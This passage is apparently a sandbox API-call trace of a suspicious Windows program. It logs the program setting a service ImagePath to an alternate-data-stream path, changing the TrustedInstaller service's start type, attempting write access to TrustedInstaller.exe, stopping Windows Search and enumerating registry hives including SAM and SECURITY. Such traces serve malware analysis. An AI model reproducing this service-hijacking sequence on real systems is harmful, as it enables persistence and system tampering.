(hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1c40, cbData=0x1) returned 0x6 [0211.748] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0211.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0211.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0211.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0211.749] LocalFree (hMem=0x7f03d0) returned 0x0 [0211.749] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1b68, cbData=0x2f) returned 0x6 [0211.749] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x803990 [0211.806] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0211.807] CloseServiceHandle (hSCObject=0x803990) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0211.808] RegCloseKey (hKey=0x154) returned 0x0 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0211.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0211.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0211.808] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.808] GetLastError () returned 0x5 [0211.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0211.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0211.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0211.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0211.812] NtClose (Handle=0x154) returned 0x0 [0211.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0211.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0211.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0212.382] NtClose (Handle=0x154) returned 0x0 [0212.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0212.382] NtClose (Handle=0x148) returned 0x0 [0212.382] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0212.732] NtClose (Handle=0x150) returned 0x0 [0212.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0212.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0212.732] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0212.732] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.732] GetLastError () returned 0x5 [0212.732] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0212.733] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0212.733] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0212.733] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x20) returned 0x8038a0 [0212.734] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0212.773] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0212.774] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0212.774] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.774] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.774] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.775] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0212.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.776] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.776] RegCloseKey (hKey=0x80000002) returned 0x0 [0212.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.776] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0212.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.777] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0212.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.778] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0212.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0212.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.778] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 